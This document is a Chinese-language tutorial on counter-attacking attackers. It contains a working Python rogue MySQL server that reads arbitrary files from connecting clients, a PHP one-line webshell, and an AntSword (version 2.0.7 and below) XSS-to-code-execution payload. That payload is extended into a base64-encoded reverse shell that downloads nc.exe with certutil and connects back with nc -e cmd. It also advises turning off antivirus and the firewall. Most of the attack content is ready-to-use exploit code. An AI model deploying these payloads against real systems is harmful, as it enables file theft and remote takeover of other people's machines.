反制mysql客户端

exp_dicc.py

# -*- coding: utf-8 -*-
import socket
import os
import sys
from pathlib import Path
import platform
class MySQLFileReader:

def __init__(self, port):
self.port = port
self.sv = socket.socket()
self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sv.bind(("", port))
self.sv.listen(5)

def mysql_get_file_content(self, filename):
conn, address = self.sv.accept()
print(f"收到连接: {address[0]}")
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)

server_version = b"\x0a\x35\x2e\x35\x2e\x35\x33"
if platform.system() == "Linux":
server_version = b"\x0a\x35\x2e\x37\x2e\x32\x39"

conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)

wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"\x00\x00\x01\xFB" + filename.encode()
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()

if len(content) > 4:
content_str = content.decode()
with open(logpath + "/" + Path(filename).name, "w") as txt:
txt.write(content_str)
print(f"文件内容: \n{content_str}")
return True
else:
return False

def read_files_from_input(self):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
while True:
filename = input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = self.mysql_get_file_content(filename)
if res:
print(f"文件已保存 ---> {filename}")
else:
print(f"文件未找到 ---> {filename}")

def read_files_from_dict(self, dict_file):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
with open(dict_file) as dicc:
for line in dicc.readlines():
line = line.strip("\n")
res = self.mysql_get_file_content(line)
if res:
print(f"文件已保存 ---> {line}")
else:
print(f"文件未找到 ---> {line}")


if __name__ == "__main__":
port = int(input("请输入监听端口号: "))
mode = input('''
请选择读取模式:
【1】从输入读取文件
''')

mysql_file_reader = MySQLFileReader(port)

if mode == '1':
mysql_file_reader.read_files_from_input()
else:
print("无效的模式选择,请重新运行程序并输入正确的模式。")

在exp_dicc.py文件所在的目录下打开cmd

python exp_dicc.py
#设置监听端口3306
#设置读取模式,这里选1,输入读取文件的路径
C:/windows/win.ini

image-20240718160834056

接下来使用Navicat连接Mysql蜜罐

image-20240718161018075

点击之后,我们发现我们的cmd上显示了如下

image-20240718161053450

反制蚁剑低版本

我们首先在自己的虚拟机上搭建相关网站,如下图所示

image-20240718181202374

在网站根目录下写下一句话木马,命名为aaa.php

<?php eval($_REQUEST[6]); ?>

测试一句话木马是否生效,如下所示,输入?6=phpinfo();,出现如下页面则代表成功

image-20240718162317750

我们在主机上安装好我们的antsword漏洞版本,即版本号<=2.0.7,我们用蚁剑进行连接,密码为6

image-20240718163943856

image-20240718164022561

我们开始进行反制,将aaa.php中的代码换成如下

<?PHP
header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=`,`base64`).toString())'>");
?>

其中base64编码部分为

const { exec } = require('child_process');
exec('calc');

即使计算机进行计算器进程,这串php即让计算机自动弹出计算器,实现任意代码执行

image-20240718164654338

通过双击蚁剑,我们可以执行计算机弹出的命令,如下图所示

image-20240718164614067

反弹shell

我们首先将nc.exe放在我们搭建的网站下,我们在网站下再创建一个文件夹为1111,并把nc.exe放在该文件夹下,如下图所示

image-20240718182926153

image-20240718182949967

我们在虚拟机上开启nc监听8888端口,执行命令nc -lvp 8888,如下图所示

image-20240718165032409

我们想要我们的主机主动出网,把控制权交给我们的虚拟机,就要想办法让我们的主机主动执行nc -e cmd 192.168.153.142 8888,把cmd权主动交给我们的虚拟机(192.168.153.142),当然首先我们要让我们的主机上也有nc.exe,即感染这个病毒文件,所以我们还需要让我们的主机自己访问http://www.powdersnow.com/1111/nc.exe文件,实现自动下载nc.exe文件到我们的主机上,所以我们要构造的payload为

certutil -urlcache -split -f http://www.powdersnow.com/1111/nc.exe & nc -e cmd 192.168.153.142 8888

这就可以联想到我们的第二个实验了,下面是第二个实验的后门代码

<?PHP
header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=`,`base64`).toString())'>");
?>

Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=拿去base64解密,得到

const { exec } = require('child_process');
exec('calc');

我们将certutil -urlcache -split -f http://www.powdersnow.com/1111/nc.exe & nc -e cmd 192.168.153.142 8888替换calc,得到如下的payload

const { exec } = require('child_process');
exec('certutil -urlcache -split -f http://www.powdersnow.com/1111/nc.exe & nc -e cmd 192.168.153.142 8888');

拿去base64加密,替换原来的base64编码,得到payload如下,我们将payload重新放在aaa.php中,如下图所示,值得我们注意的是,由于nc.exe是病毒软件,所以我们要关闭我们的防火墙,退出杀毒软件,才能保证实验的成功

<?PHP
header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NlcnR1dGlsIC11cmxjYWNoZSAtc3BsaXQgLWYgaHR0cDovL3d3dy5wb3dkZXJzbm93LmNvbS8xMTExL25jLmV4ZSAmIG5jIC1lIGNtZCAxOTIuMTY4LjE1My4xNDIgODg4OCcpOw==`,`base64`).toString())'>");
?>

image-20240718184459060

我们保存后再次访问我们的蚁剑,这个时候看我们的监听端口,可以发现已经getshell了

image-20240718184624905

acd7d1c5622e0f91b46aff2a80c962fc

成功反弹shell